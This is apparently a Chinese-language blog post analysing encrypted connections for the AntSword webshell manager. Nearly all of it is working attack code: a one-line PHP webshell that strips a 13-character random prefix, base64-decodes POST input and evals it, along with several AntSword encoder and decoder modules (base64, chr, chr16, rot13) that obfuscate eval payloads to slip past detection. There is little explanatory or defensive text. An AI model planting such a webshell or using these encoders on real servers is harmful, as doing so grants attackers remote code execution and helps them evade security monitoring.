蚁剑webshell动态加密连接分析

/** * php::base64编码器 * Create at: 2022/03/28 10:32:13 */
'use strict';
/** @param  {String} pwd   连接密码* @param  {Array}  data  编码器处理前的 payload 数组* @return {Array}  data  编码器处理后的 payload 数组*/module.exports = (pwd, data, ext={}) => {  // ##########    请在下方编写你自己的代码   ###################  // 以下代码随机字符串+传输数据base64   //生成13位随机字符串  let randomID = `${Math.random().toString(16).substr(2)}`;  console.log("aaaaaaaaa")  console.log("a:"+Math.random())  console.log("aaaaaaaaa")  //0.6777933515637071   //Math.random()输出0到1(包括0，不包含1)的随机数。toString(16)将随机数转换为16进制的字符串。substr(2)截取字符串，因为随机数大于等于0小于1，前两位是“0.”，substring(2)从第三位开始截取到最后。   console.log("AAAAAAAAAAAAAAAAAAAAAAAA")  console.log("randomID:"+randomID)  console.log("AAAAAAAAAAAAAAAAAAAAAAAA")  // 传输数据base64  let encry= new Buffer(data['_']).toString('base64');  console.log("BBBBBBBBBBBBBBBBBBBBBBBBBBB")  console.log("encry:"+encry)  console.log("BBBBBBBBBBBBBBBBBBBBBBBBBBB")  //随机字符串+传输数据base64  data[pwd] = `${randomID}`+encry;  console.log("CCCCCCCCCCCCCCCCCCCCCCCC")  console.log(" data[pwd]:"+ data[pwd])  console.log("CCCCCCCCCCCCCCCCCCCCCCCC")
  // 删除 _ 原有的payload  delete data['_'];  // 返回编码器处理后的 payload 数组  return data;    // 生成一个随机变量名  //let randomID = `_0x${Math.random().toString(16).substr(2)}`;  // 原有的 payload 在 data['_']中  // 取出来之后，转为 base64 编码并放入 randomID key 下  //data[randomID] = Buffer.from(data['_']).toString('base64');
  // shell 在接收到 payload 后，先处理 pwd 参数下的内容，  //data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
  // ##########    请在上方编写你自己的代码   ###################
  // 删除 _ 原有的payload  //delete data['_'];  // 返回编码器处理后的 payload 数组 // return data;}

<?php 
$a = base64_decode(substr($_POST['cmd'],13));
@eval($a);
?>

/** * php::base64编码器 * ? 利用php的base64_decode进行编码处理 */
'use strict';
module.exports = (pwd, data, ext = null) => {  // 生成一个随机变量名  let randomID;  if (ext.opts.otherConf['use-random-variable'] === 1) {    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);  } else {    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;  }  data[randomID] = Buffer    .from(data['_'])    .toString('base64');  data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;  delete data['_'];  return data;}--------------------------------------------------------------------/** * php::base64解码器 */
'use strict';
module.exports = {  /**   * @returns {string} asenc 将返回数据base64编码   */  asoutput: () => {    return `function asenc($out){      return @base64_encode($out);    }    `.replace(/\n\s+/g, '');  },  /**   * 解码 Buffer   * @param {Buffer} buff 要被解码的 Buffer   * @returns {Buffer} 解码后的 Buffer   */  decode_buff: (buff) => {    return Buffer.from(buff.toString(), 'base64');  }}

/** * php::chr编码器 * ? 利用php的chr函数进行编码处理 */
'use strict'
module.exports = (pwd, data, ext = null) => {  // 编码函数  const encode = (php) => {    let ret = [];    let i = 0;    while (i < php.length) {      ret.push(php[i].charCodeAt());      i++;    }    return `@eVAl(cHr(${ret.join(').ChR(')}));`;  }
  // 编码并去除多余数据  data[pwd] = encode(data._);  delete data._;
  // 返回数据  return data;}

/** * php::chr16编码器 * ? 利用php的chr函数进行编码处理 */
'use strict'
module.exports = (pwd, data, ext = null) => {  // 编码函数  const encode = (php) => {    let ret = [];    let i = 0;    while (i < php.length) {      ret.push(php[i].charCodeAt().toString(16));      i++;    }    return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;  }
  // 编码并去除多余数据  data[pwd] = encode(data._);  delete data._;
  // 返回数据  return data;}

/** * php::str_rot13编码器 * ? 利用php的 rot13 进行编码处理 */
'use strict';
module.exports = (pwd, data, ext = null) => {  const encode = (s) => {    //use a Regular Expression to Replace only the characters that are a-z or A-Z    return s.replace(/[a-zA-Z]/g, function (c) {      // Get the character code of the current character and add 13 to it If it is      // larger than z's character code then subtract 26 to support wrap around.      return String.fromCharCode((c <= "Z" ?          90 :          122) >= (c = c.charCodeAt(0) + 13) ?        c :        c - 26);    });  }
  // 生成一个随机变量名  let randomID;  if (ext.opts.otherConf['use-random-variable'] === 1) {    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);  } else {    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;  }  data[randomID] = encode(data['_']);  data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`;  delete data['_'];  return data;}------------------------------------------------------------------------/** * php::base64解码器 * ? 利用php的base64_decode进行解码处理 */
'use strict';const rot13encode = (s) => {  //use a Regular Expression to Replace only the characters that are a-z or A-Z  return s.replace(/[a-zA-Z]/g, function (c) {    // Get the character code of the current character and add 13 to it If it is    // larger than z's character code then subtract 26 to support wrap around.    return String.fromCharCode((c <= "Z" ?        90 :        122) >= (c = c.charCodeAt(0) + 13) ?      c :      c - 26);  });};
module.exports = {  asoutput: (tag_s, tag_e) => {    return `function asenc($out){      return str_rot13($out);    }    `.replace(/\n\s+/g, '');  },  decode_buff: (buff) => {    return Buffer.from(rot13encode(buff.toString()));  }}